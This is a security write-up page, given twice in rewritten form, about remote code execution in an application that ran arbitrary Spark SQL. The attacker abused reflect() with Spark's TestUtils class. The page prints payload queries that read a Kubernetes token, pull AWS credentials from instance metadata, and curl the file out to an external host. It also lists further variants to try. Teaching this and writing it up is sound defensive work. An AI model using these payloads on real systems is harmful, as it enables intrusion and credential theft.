Skip to content
RCE Write-up Advanced

Remote Code Execution by Abusing Apache Spark SQL

An application allowed users to run arbitrary Spark SQL queries, and the attacker abused the reflect() function to call a static method in Apache Spark's TestUtils class that executed system commands. This led to remote code execution, allowing the attacker to read Kubernetes tokens and AWS credentials from the environment.

Colin McQueen Follow

Published on blog.stratumsecurity.com

While performing a security assessment for an application, there was interesting functionality that allowed users to execute arbitrary Spark SQL queries over analytics data.

Colin McQueen, on blog.stratumsecurity.com

The full write-up lives on its author's site

It belongs to its author, so we link to it rather than copy it. The other two tabs are our own rewrites, checked against it.

Written with AI from the full original report and checked against it passage by passage; anything it could not back up was removed or toned down. The original is the record. 4 min read.

Context

During a security assessment of an application, I found functionality that let users run arbitrary Spark SQL queries over analytics data. The functionality allowed users to execute arbitrary Spark SQL queries over analytics data.

Setup

The assessment was performed against an application. No specific accounts, roles or tools are described beyond the ability to submit Spark SQL queries. The Spark version was not known at the start; it was later revealed through system properties.

Finding it

A blog post, The Dangers of Untrusted Spark SQL Input in a Shared Environment, described two functions that allowed Java code to be executed: reflect() and java_method(). These functions only allow static methods to be called from classes without instantiating the class. That meant the commonly abused java.lang.Runtime class with getRuntime().exec() could not be used directly. I needed a Java class with a static method that could execute system commands.

I first confirmed that I could read environment variables and system properties with the following queries:

SQL
-- List environment variables
SELECT reflect('java.lang.System', 'getenv')

-- List system properties
SELECT reflect('java.lang.System', 'getProperties')

The environment variables and system properties did not contain anything sensitive. However, the system properties revealed the Spark version, which later helped achieve remote code execution.

Exploitation

Step 1: Identify a suitable static method

While reviewing the Spark JavaDocs, I found the class org.apache.spark.TestUtils with a static method testCommandAvailable(). Reviewing the code on GitHub, I saw that it calls Process(command).run(), which allows system commands to be executed.

Step 2: Build a payload to execute commands

Using this class and method, I built a Spark SQL payload to execute system commands. The following queries were used to disclose a Kubernetes API token and AWS keys that had excessive permissions:

SQL
-- Read Kubernetes API token file
SELECT * FROM csv.`/var/run/secrets/kubernetes.io/serviceaccount/token`

-- Write the AWS keys to a file
SELECT reflect('org.apache.spark.TestUtils', 'testCommandAvailable', 'curl http://[redacted]/latest/meta-data/iam/security-credentials/euwe1-redacted -o /opt/test.txt')

-- Send the file contents to a remote controlled server to view
SELECT reflect('org.apache.spark.TestUtils', 'testCommandAvailable', 'curl -X POST -F data=@/opt/test.txt http://remoteserver.stratumsecurity.com/test5.txt')

The first query reads the Kubernetes service account token file directly via the csv data source. The second query uses reflect to call testCommandAvailable with a curl command that fetches credentials from the instance metadata address [redacted] and writes them to /opt/test.txt. The third query sends the contents of that file to a remote server controlled by the researcher.

Figure 1 - Disclosed AWS keys with code execution From the original on blog.stratumsecurity.com

Figure 1 - Disclosed AWS keys with code execution

Step 3: Use the disclosed AWS keys

After obtaining the AWS keys and checking their permissions, I listed all the S3 buckets these keys had access to as a proof of concept for the report.

Figure 2 - Listed S3 buckets using disclosed AWS keys From the original on blog.stratumsecurity.com

Figure 2 - Listed S3 buckets using disclosed AWS keys

Root cause

The application allowed users to execute arbitrary Spark SQL queries, including the reflect() and java_method() functions, which can call static methods on any class available on the classpath. The org.apache.spark.TestUtils class, intended for testing, contains a method that executes system commands. Because the SQL input was not restricted, an attacker could invoke this method to run arbitrary commands on the host. Because the SQL input was not restricted, the method could be invoked to run arbitrary commands on the host.

Impact

An attacker with the ability to submit Spark SQL queries could execute arbitrary system commands on the Spark host. In this case, the attacker read a Kubernetes API token from a file and AWS keys from the instance metadata; the AWS keys had excessive permissions. These credentials could then be used to access other cloud resources, such as S3 buckets, as demonstrated. The impact is limited to environments where such SQL execution is exposed and where the Spark process has access to sensitive files or metadata.

Fix

The report does not state what fix was applied. To prevent this issue, restrict the Spark SQL functions available to users, such as disabling reflect() and java_method(), or run Spark in a sandboxed environment with limited permissions. Additionally, follow the principle of least privilege for IAM roles and Kubernetes service accounts.

Variants to test

  • Try other static methods that execute commands, such as java.lang.Runtime.getRuntime().exec() if instantiation is allowed, or other utility classes like org.apache.commons.io.IOUtils or java.nio.file.Files for file operations. A positive result is command output or file contents returned in the query result.
  • Test for other data sources that can read local files, such as csv, json, parquet, or text, to exfiltrate sensitive files. A positive result is the contents of files like /etc/passwd or cloud metadata tokens.
  • Attempt to use java_method() as an alternative to reflect() to call static methods. A positive result is similar to reflect().
  • Check for other Spark versions or configurations that may expose additional dangerous classes or methods. A positive result is the ability to execute commands or read files.

Written with AI from the full original report and checked against it passage by passage; anything it could not back up was removed or toned down. The original is the record. 11 min read.

What happened, in plain words

A security researcher was testing a web application that had a feature for running database queries. The feature was meant to let people ask questions about analytics data, a bit like a search box that lets you ask a spreadsheet questions. But the feature was too trusting: it let users run any query they liked, including special queries that reach into the programming language underneath (Java) and ask it to do things. The researcher used that trust to make the server run commands of their choosing. That let them read a secret file used to talk to the Kubernetes cluster and to fetch cloud access keys, which were then used to list accessible storage buckets. This kind of bug is called remote code execution, or RCE: someone sitting at a browser can make a distant computer run their commands.

Background: the pieces involved

Before the steps, here are the pieces, explained from zero.

  • Spark SQL: Apache Spark is a system for processing large amounts of data. Spark SQL is the part that lets you ask questions about that data using a query language that looks like SQL, the language used with databases. Think of it as a very powerful spreadsheet formula bar: you type a question, it returns rows of data.
  • A query: a line of instructions you send to a database or data system. SELECT means "give me this data".
  • Java: a programming language. Spark runs on Java, and Java programs are organised into classes (think of a class as a toolbox) and methods (a method is one tool inside the toolbox).
  • Static method: a tool you can use without first building the toolbox. Normally in Java you create an object (an instance) from a class before using its methods. A static method can be called directly on the class name, with no object needed.
  • reflect() and java_method(): two Spark SQL functions that let a query call a Java method by name. They are the bridge between a harmless-looking query and real code. The catch is that they only allow static methods, so the toolbox has to offer a tool that works without being built first.
  • Environment variables and system properties: small named settings that a running program can read. Environment variables are usually set by the operating system or container; system properties are Java's own settings. They often hold configuration, and sometimes secrets.
  • Kubernetes: a system for running and managing containers (packaged applications) across many machines. Applications running inside it are given a service account token, a small file containing a secret string that proves who they are when they talk to the cluster. It is like a staff badge kept in a drawer.
  • AWS: Amazon Web Services, a cloud provider. S3 buckets are its storage folders. IAM is its permission system, and an IAM role is a set of permissions that a machine can take on.
  • Instance metadata service: a special address inside AWS machines, [redacted], that the machine itself can ask for information about itself, including temporary access keys for its IAM role. It is like a staff room noticeboard that only people already inside the building can read.
  • curl: a command-line tool for fetching things over the network. It can download a web page or upload a file.
  • Remote code execution (RCE): the bug class where an attacker can make a target computer run commands. It is the difference between someone reading your shopping list and someone using your kitchen.

Finding the weakness

The researcher found a feature in the application that let users run arbitrary Spark SQL queries over analytics data.

A blog post, The Dangers of Untrusted Spark SQL Input in a Shared Environment, described two functions that allowed Java code to be executed: reflect() and java_method(). The problem was that these functions only allow static methods to be called from classes without creating an instance of the class. That ruled out the usual trick of using java.lang.Runtime with getRuntime().exec(), which is a well-known way to run commands in Java but needs an object first. The researcher needed a Java class with a static method that could run system commands.

To start, the researcher checked whether the query feature could read the server's settings at all. Two queries were sent:

SQL
-- List environment variables
SELECT reflect('java.lang.System', 'getenv')

-- List system properties
SELECT reflect('java.lang.System', 'getProperties')

Line by line:

  1. SELECT reflect('java.lang.System', 'getenv') asks Spark to call the static method getenv on the Java class java.lang.System. That method returns all environment variables, the operating system level settings. The -- line above it is just a comment, ignored by the database.
  2. SELECT reflect('java.lang.System', 'getProperties') does the same with getProperties, which returns Java's own settings.

Why this step: before trying anything destructive, the researcher wanted to see what the server would reveal. Reading settings is a low-risk way to learn about the environment, and it confirms that reflect() actually works.

The environment variables and system properties did not contain anything sensitive. However, the system properties revealed which version of Spark was running. That mattered later, because knowing the version tells you which classes and methods exist in that version, and therefore which ones you can call.

Getting to code execution

Step 1: Find a static method that runs commands

While reading the Spark JavaDocs (the reference documentation for Spark's classes), the researcher found a class called org.apache.spark.TestUtils with a static method called testCommandAvailable(). The name suggests it is a helper used in testing, but the researcher looked at its code on GitHub and saw that it calls Process(command).run(). In plain terms, that line starts a system command, the same kind of command you would type into a terminal. A testing helper had become a command launcher.

Why this step: the earlier queries proved the bridge worked, but they only read settings. To get real power, the researcher needed a static method whose whole job is to run something. testCommandAvailable() is exactly that.

Step 2: Build queries that run commands

Using this class and method, the researcher built Spark SQL queries that execute system commands. The following queries were used to disclose a Kubernetes API token and AWS keys that had excessive permissions:

SQL
-- Read Kubernetes API token file
SELECT * FROM csv.`/var/run/secrets/kubernetes.io/serviceaccount/token`

-- Write the AWS keys to a file
SELECT reflect('org.apache.spark.TestUtils', 'testCommandAvailable', 'curl http://[redacted]/latest/meta-data/iam/security-credentials/euwe1-redacted -o /opt/test.txt')

-- Send the file contents to a remote controlled server to view
SELECT reflect('org.apache.spark.TestUtils', 'testCommandAvailable', 'curl -X POST -F data=@/opt/test.txt http://remoteserver.stratumsecurity.com/test5.txt')

Line by line:

  1. SELECT * FROM csv./var/run/secrets/kubernetes.io/serviceaccount/token`` tells Spark to treat a file on the server's disk as if it were a CSV data file, and return every row. The file is the Kubernetes service account token, the secret badge described earlier. Spark can read local files through its csv data source, so a query that was meant for analytics data ends up reading a secret file. The backticks are just how Spark SQL quotes a path.
  2. SELECT reflect('org.apache.spark.TestUtils', 'testCommandAvailable', 'curl http://[redacted]/latest/meta-data/iam/security-credentials/euwe1-redacted -o /opt/test.txt') calls the command-running method with a curl command. That command asks the AWS instance metadata address for the credentials of the role named euwe1-redacted, and saves the answer to /opt/test.txt on the server. In other words, the server is made to fetch its own cloud keys and write them to a file.
  3. SELECT reflect('org.apache.spark.TestUtils', 'testCommandAvailable', 'curl -X POST -F data=@/opt/test.txt http://remoteserver.stratumsecurity.com/test5.txt') calls the same method again, this time with a curl command that uploads the file just written to a server the researcher controls. -X POST means send data rather than just fetch a page, and -F data=@/opt/test.txt attaches the file. This is how the keys leave the building.

Why this step: reading a file through the csv data source gets the Kubernetes token out. The two curl commands then use the command execution to reach the metadata service, which is only reachable from inside the machine, and to send the result out. Each query is a separate small step, so if one fails the researcher knows where the problem is.

Figure 1 - Disclosed AWS keys with code execution From the original on blog.stratumsecurity.com

Figure 1 - Disclosed AWS keys with code execution

The figure is captioned as disclosed AWS keys with code execution.

Step 3: Use the keys

After getting the AWS keys and checking what permissions they had, the researcher listed all the S3 buckets those keys could access, as a proof of concept for the report. A proof of concept is a small, safe demonstration that the problem is real, rather than just a claim.

Figure 2 - Listed S3 buckets using disclosed AWS keys From the original on blog.stratumsecurity.com

Figure 2 - Listed S3 buckets using disclosed AWS keys

The figure is captioned as S3 buckets listed using the disclosed AWS keys.

Why it worked

The application let users run arbitrary Spark SQL queries, including reflect() and java_method(). Those functions can call static methods on any class available to the running program. The org.apache.spark.TestUtils class, which is meant for testing, contains a method that runs system commands. Because the SQL input was not restricted, an attacker could invoke that method and run arbitrary commands on the host. A sandbox is a restricted playpen: even if code runs, it should not be able to touch files, the network or other systems. Here there was no such playpen.

What the impact was

Anyone able to submit Spark SQL queries could run arbitrary system commands on the Spark host. In this case, the researcher read a Kubernetes API token from a file and AWS keys from the instance metadata, and those AWS keys had excessive permissions. Excessive here means more access than the job needed. Those credentials could then be used to reach other cloud resources, such as S3 buckets, as demonstrated. The impact is limited to environments where this kind of SQL execution is exposed and where the Spark process can reach sensitive files or metadata.

How to fix it

The report does not state what fix was applied. To prevent the issue, restrict which Spark SQL functions users can call, for example by disabling reflect() and java_method(), or run Spark in a sandboxed environment with limited permissions. Also follow the principle of least privilege for IAM roles and Kubernetes service accounts: give each one only the access it actually needs, so a stolen key opens as few doors as possible.

Other things to test

  • Try other static methods that run commands, such as java.lang.Runtime.getRuntime().exec() if creating an instance is allowed, or other utility classes like org.apache.commons.io.IOUtils or java.nio.file.Files for file operations. A positive result is command output or file contents appearing in the query result.
  • Test other data sources that can read local files, such as csv, json, parquet or text, to pull out sensitive files. A positive result is the contents of files like /etc/passwd or cloud metadata tokens.
  • Try java_method() as an alternative to reflect() for calling static methods. A positive result looks the same as with reflect().
  • Check other Spark versions or configurations that may expose additional dangerous classes or methods. A positive result is the ability to run commands or read files.

Glossary

  • API: a way for one program to talk to another, like a waiter taking your order to the kitchen.
  • AWS: Amazon Web Services, a cloud provider that rents out computers and storage.
  • Class: in Java, a named collection of code and tools; think of it as a toolbox.
  • curl: a command-line tool for sending and receiving data over the network.
  • CSV: comma-separated values, a simple text format for tables of data.
  • Environment variable: a named setting provided to a running program by the operating system or container.
  • Excessive permissions: access rights beyond what a job actually needs.
  • IAM: AWS's system for managing who and what can access which resources.
  • Instance metadata service: an address inside an AWS machine, [redacted], that the machine can query for information about itself, including temporary access keys.
  • Java: a programming language that Spark runs on.
  • JavaDocs: the reference documentation for Java classes and methods.
  • Kubernetes: a system for running and managing containerised applications across machines.
  • Method: a single action or tool inside a class.
  • Principle of least privilege: giving each account or role only the access it truly needs.
  • Proof of concept: a small, safe demonstration that a vulnerability is real.
  • Query: an instruction sent to a database or data system, usually starting with SELECT.
  • RCE (remote code execution): a vulnerability where an attacker can make a remote computer run their commands.
  • reflect() / java_method(): Spark SQL functions that call a named Java method from inside a query.
  • S3 bucket: a storage folder in AWS.
  • Sandbox: a restricted environment that limits what running code can touch.
  • Service account token: a secret file that proves an application's identity to a Kubernetes cluster, like a staff badge.
  • Spark: Apache Spark, a system for processing large datasets.
  • Spark SQL: the part of Spark that lets you query data with SQL-like statements.
  • SQL: the standard language for asking questions of databases.
  • Static method: a method that can be called on a class directly, without creating an object first.
  • System properties: Java's own named settings for a running program.
  • Token: a secret string that proves identity or grants access, like a ticket or badge.

More by Colin McQueen

View all

3 more disclosed reports, best first.

Similar reports

View all

Same bug class and techniques, clearest first.

Remote code execution

The lesson behind this report.

Running the attacker's code on the target's servers: through command or code injection, unsafe deserialisation or template injection.